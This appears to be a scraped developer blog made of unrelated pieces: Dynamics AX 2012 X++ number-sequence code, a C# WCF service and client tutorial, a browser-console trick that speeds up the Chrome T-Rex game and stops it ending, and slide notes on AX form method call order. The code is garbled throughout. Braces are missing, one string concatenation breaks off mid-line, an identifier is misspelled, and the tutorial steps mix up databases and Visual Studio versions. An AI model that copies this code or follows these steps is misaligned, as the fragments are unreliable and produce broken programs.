container                  numberSequenceModules;

public void close()

public void init()


void numberSeqPostInit()
numberSequenceReference_ds.object(fieldNum(NumberSequenceReference, AllowSameAs)).visible(numberSeqApplicationModule.sameAsActive());


void numberSeqPreInit()
NumberSeqModule         module;
NumberSeqGlobal         global;
Map                     numseqmap;
NumberSeqModuleFleet    modulefleet = new NumberSeqModuleFleet();
runExecuteDirect = false;
numberSequenceModules = [NumberSeqModule::FleetMngmt];
numberSeqApplicationModule = new NumberSeqModuleFleet();
scope = NumberSeqScopeFactory::createDataAreaScope();
module = numberSeqApplicationModule.numberSeqModule();

FORM Number sequence referrence datasource methods:
void removeFilter()
runExecuteDirect = false;


void executeQuery()
if (runExecuteDirect)
runExecuteDirect = true;

Number seq datasource table -> number sequenceid field  methods

public Common resolveReference(FormReferenceControl _formReferenceControl)
NumberSequenceCode code = _formReferenceControl.filterValue(
AbsoluteFieldBinding::construct(fieldStr(NumberSequenceTable, NumberSequence),
return NumberSequenceTable::findByNaturalKey(code, scope.getId(true));

public Common lookupReference(FormReferenceControl _formReferenceControl)

NumberSequenceTable     selectedRecord;
SysReferenceTableLookup sysTableLookup = SysReferenceTableLookup::newParameters(tableNum(NumberSequenceTable), _formReferenceControl, true);
Query lookupQuery;
sysTableLookup.addLookupfield(fieldNum(NumberSequenceTable, NumberSequence));
lookupQuery = new Query();
lookupQuery.addDataSource(tableNum(NumberSequenceTable)).addRange(fieldNum(NumberSequenceTable, NumberSequenceScope)).value(queryValue(scope.getId(true)));
selectedRecord = sysTableLookup.performFormLookup();
return selectedRecord;

CLass  Methods:

public class NumberSeqModuleFleet extends NumberSeqApplicationModule

protected void loadModule()
NumberSeqDatatype datatype = NumberSeqDatatype::construct();
datatype.parmReferenceHelp("Route ID");
datatype.addParameterType(NumberSeqParameterType::DataArea, true, false);

datatype.parmReferenceHelp("Fleet Number");
datatype.addParameterType(NumberSeqParameterType::DataArea, true, false);

Public NumberSeqModule numberSeqModule()
  Return NumberSeqModule::FleetMngmt;

WCF service

 Create WCF service 

In this tutorial we will create a web service, which will be hosted by the Host, and the invoking of the web service in client application.

The Database "EmployeeDB" has to be made with the following structure.

The following steps are to be followed to create a Web Service Project.

1)      Open Microsoft Visual Studio 2008.
2)      Click File -> New Project ->
3)      Choose Visual C# from the Left pane.
4)      Choose Web and from the templates available, choose WCF Service Application.
5)      For our tutorial we will use the name of the project as ServiceDB.
6)      Create a connection to the database "EmployeeDB".
Initial Preparation of the Project in the solution:-
Delete IService1.cs and Service1.svc, which we get by default at the time of project creation.
Download Microsoft Sample Database – PUBS from HERE, else we can create our own database for operation.
Extract the Database, Open the SQL file (.sql) of Pubs database -> instpubs.sql in the VS 2010, once opened -> Right click anywhere on the text zone and select -> Execute SQL (this creates our sample database).
Now in Server Explorer (view –> server explorer) of VS 2010, Right Click -> Data Connections, Select -> Add Connection.
In the open Dialog, Select –> ServerName (typically SQLEXPRESS), and also Select -> Database Name from the DropDownList (pubs).
CLick OK. With this, the database part of the project is ready.
7)      Add one Linq to SQL Classes from the templates; name it as "DataClasses1.dbml".
To add LINQ to SQL classes to a project
From within a Visual Basic or C# application, on the Project menu, click Add New Item.
Click the LINQ to SQL Classes template.
Change the name to Northwind.dbml.
Click Add.
The Northwind.dbml file is added to the project and the Object Relational Designer (O/R Designer) opens.
In Server/Database Explorer, under Northwind, expand Tables and drag the Customers table onto the Object Relational Designer (O/R Designer).
A Customer entity class is created and appears on the design surface.
Repeat step 6 for the Orders, Order_Details, and Products tables.
Right-click the new .dbml file that represents the LINQ to SQL classes and click View Code.
8)      Add the above tables to the designer of the Linq to SQL.
9)      In the class file "IService1.cs" add your custom method as [Operation Contract]. Add the following code to the interface “IService1”.

//Custom Method
        string AllEmployees();

10)   In "Service1.svc.cs" add the above method's implementation.

public string AllEmployees()
            DataContext db = new DataContext(@"Data Source=DIPTI\SQLEXPRESS;Initial Catalog=EmployeeDB;Integrated Security=True");
            Table<Employee> emp = db.GetTable<Employee>();
            var query = from c in emp select c;

            string result = "<EmployeeDB>";
            foreach (var e in query)
                result +=  "<Employee><EmpId>"+e.EmpId+

            result += "</EmployeeDB>";
            return result;

The following steps are to be followed to create a Client Application based on the Web Service. Here we will create a Windows application.

1)      Open Microsoft Visual Studio 2008.
2)      Click File -> New Project ->
3)      Choose Visual C# from the Left pane.
4)      Choose Windows and from the templates available, choose Windows Forms Application.
5)      For our tutorial we will use the name of the project as "ClientApplication".
6)      Run the Web Service application and copy the URL of the service.
7)      Add Service reference to the URL. Choose the name of the service reference as "ServiceReference1".
8)      In the Form's design window add the following controls to see the data from the database.
a.       Button as btnView
b.      Data Grid View as dataGridView1
c.       Binding Source as bindingSource1
9)      In the click event of the Button add the following code.

private void btnView_Click(object sender, EventArgs e)
            ServiceReference1.Service1Client obj = new Service1Client();
            string list = obj.AllEmployees();
            DataSet DS = new DataSet();
            StringReader sr = new StringReader(list);
            DS.ReadXml(sr, XmlReadMode.InferSchema);
            bindingSource1.DataSource = DS.Tables[0];
            this.dataGridView1.DataSource = bindingSource1;

To run the application the following steps has to be followed.

1)      Run the Service Application. (Don't close the service application)
2)      Run the Client Application.
3)      Click the Button to see the results.

Hack T-REX Game Chrome

Hack T-REX Game Chrome

On console  press F12


var deafaultRunner =Runner.prototype.game0ver  //taking bkp

Runner.prototype.game0ver = function(){console.log("sdsdsdsd")}   //ghost dino

Runner.Instance_.setSpeed(1500)  //Speed

Runner.Prototype.game0ver = deafaultRunner

* Here what we do is Simply replacing the game0ver Function *

eg Config:

Runner.config = {
  CLEAR_TIME: 3000,
  GRAVITY: 0.6,
  MAX_SPEED: 12,
  RESOURCE_TEMPLATE_ID: 'audio-resources',
  SPEED: 6,

AX 2012 Forms/tables methods call sequences

AX 2012 Forms/tables methods call sequences

2. Objectifs • Describe the methods call sequencing • Describe the forms and tables methods and when they should be override • Describe how to access form objects • Describe how to do some common tasks on forms
3. Methods call sequencing
4. Cases • Case 1: Form opening • Case 2: Record creation • Case 3: Field modification • Case 4: Record saving • Case 5: Record deletion • Case 6: Form closing • Case 7: RunBase
5. Form opening
6. Form Opening Form.init • Used to retrieve and validate the calling parameters • Initialize Controls : Visibility, Enable, Editable… • Do not put code that affects DS in this method use DS.init instead DS.init • • • • Set Data Source properties : AllowEdit, AllowCreate, AllowDelete… Create ranges, sorting and filters Cache methods to improve performance Not apply ranges values only if the ranges/links… are permanent
7. Form Opening DS.linkActive • This methods is called every time we activate a new record on the calling form • Applying links, ranges and updating design depending on the caller record! DS.executeQuery • Applying ranges and filters values • Avoid changing the query structure (create ranges, links…) at this level as this method is frequently called • Updating design depending on the selected record • Updating other Data Sources queries
8. Record creation
9. Record creation DS.Create • Add supplementary rules to validate the creation • Modify creation process : example open a specific form for creation DS.initValue • Only to initialize fields with values that can not exists outside of the form, example : • • Filter on the top of the form Values coming from a calling form/class Table.initValue • Assign a default value to fields • Always call this method when creating records by X++ code even if the method is empty : It may be overridden in a future version!
10. Field modification
11. Field modification Control.validate - Control.Modified • never! DSField.validate • Validate the value typed / chosen by the user against business rules and data consistency DSField.modified • Modify value on other fields • Implement field modification rules When : code we want to implement is specific to the form, or depends on some data that are only available on the form Table.validateField, table.modifiedField Same as DS methods. These methods are called what ever the form.
12. Field modification In modifiedField methods, you should always make sure that the code you have implemented will be cancelable if the user choose not save the changes he made. Else you have to force the saving of the record! Incorrect : Correct :
13. Field modification Modifying a field value by X++ You should be sure the value you are assigning to the field respect business rules, as the system will not trigger a validateField method call automatically! Lookup consideration When you override the default lookup of a field to filter values that can be chosen by the user. You should always override validateField or validate to consider the case when the user type directly a value in the field without using the lookup.
14. Record saving
15. Record saving DS.validateWrite • Validate business rules and data consistency (mandatory fields filled…) that are form specific Table.validateWrite • Same as the DS equivalent but will be applied on all forms DS.Write • • Updating other DS in the same form Override the normal saving process with some specific rules Table.insert / Tables.update • Implement specific rules : CUD other record, recalculate a value…
16. Record saving • When inserting/updating records by X++ code you should always call Table.validateWrite in order o validate business rules/ mandatory fields… Even if the method is empty! • Avoid direct call to doInsert/doUpdate, as all business rules that are written in insert/update are not executed. Only use direct call if : 1. 2. Performance issues You are sure that business rules implemented in insert/update are not applicable in your use case. Creation/update by X++ Code should be done using AxBC classes because they implement a Framework to correctly validate fields values and business rules. This will be discussed in an other session.
17. Record deletion
18. Record deletion Delete Actions You should always remember to implement Delete Actions when your table is linked to other tables! Forgetting this can lead to data inconsistency. In X++ code you should always call Table.validateDelete before calling delete
19. Form closing
20. Form closing How to catch closing method of a form • ClosedOk : form has been closed using OK command button • ClosedCancel : form has been closed using a cancel command button or Esc • Closed : form has been closed “Normally”
21. Runbase
22. RunBase Main • • Keep the code as minimum as possible Used to retrieve and validate calling parameters, instantiate a class objects and initialize class object parameters Construct • Always create a construct method to encapsulate the new Method InitParmDefault • Use this method to default class variables/query with default values for the first class run by the user.
23. HOW TO ?
24. How to acces form objects • FormRun : element, this • DataSource : DataSourceName_ds, this • Active Record : DataSourceName • DataSource Query : DataSourceName_q • DataSource Query Run : DataSourceName_qr • Field value : DataSourceName.Field • Control element.control(element.controlId(formControlStr(FormName, ControlName))) Or AutoDeclaration
25. General rules • Do not place code in a form unless you cannot place it in a class or in a table method. • Code written on forms cannot be reused and is difficult to customize. • Forms are entirely client-based. There should be no code in them that manipulates the database. • Always Use Field Groups in Tables • To modify text that appears in the user interface you should modify property values on the extended data types or base enums in the application.
26. General rules • If a control is linked to a field data source, You should never AutoDeclare this control. All behavior changes (visibility, mandatory, enable, …) can be done throw the data Source. Next slides shows you how you can do common tasks!
27. How To ? How to enable/disable a control Incorrect : ControlName.enabled(true/false); Correct : DataSourceName_ds.object(fieldnum(Table, Field)).enabled(true/false); How to set visibility of a control Incorrect : ControlName.visible(true/false); Correct : DataSourceName_ds.object(fieldnum(Table, Field)).visible(true/false);
28. How To ? How to make a control editable Incorrect : ControlName.allowEdit(true/false); Correct : DataSourceName_ds.object(fieldnum(Table, Field)).allowEdit(true/false); How to make a control mandatory Incorrect : ControlName.mandatory(true/false); Correct : DataSourceName_ds.object(fieldnum(Table, Field)).mandatory(true/false);
29. How to? Assign a value to a control Incorrect Contol.text(value), control.realvalue(value), control. Checked(Value)… Correct DataSourceName.Field = Value;
30. How to? Allow/prevent record creation/modification/deletion Creation • • Propriety X++ : AllowCreate : DataSourceName_ds.allowCreate() Modification • • Propriety X++ : AllowEdit : DataSourceName_ds.allowEdit() Deletion • • Propriety X++ : AllowDelete : DataSourceName_ds.allowDelete() NOT CORRECT Making Buttons that allow creation/modification/deletion disabled doesn’t prevent doing theses action. As there are shortcuts (Ctrl+N, Alt+F9…) that trigger the same events!
31. How to? Cache methods (1) Method caching mechanism helps improve performances. DataSource_ds.cacheAddMethod(tableMethodStr(TableName, MethodName)); (1) Caching mechanism will be discussed in details in an other session.
32. How to? Create/Apply range on a form DS 1. 2. 3. Declare a variable QueryBuildRange on classDeclaration Create and assign the range in DS.init() after super() Apply the range value in DS.executeQuery or DS.linkActive Add a filter control to a form (not listPage) 1. 2. 3. 4. 5. 6. Declare a Range as previous Declare a variable in class Declaration with desired type Create an edit method on form methods on the declared variable Call the DS.executeQuery() and use the variable as a value for the range Create a control on the form using the edit method Optional : Save the filter value by user by overriding methods In some cases you may have to use QueryFilter and not QueryBuildRange. See :
33. How to? Add a filter control to a listPage 1. 2. 3. Turn the “Filter” group visible = Yes Add a control to the group and specify properties : Label, helpText, CK… Specify properties : 1. 2. 3. FilterDataSource : data source you want to filter FilterField : field to filter based on it FilterExpression : %1, !=%1, ..%1, %1.. A standard framework behind listPage will apply filter once a value is specified!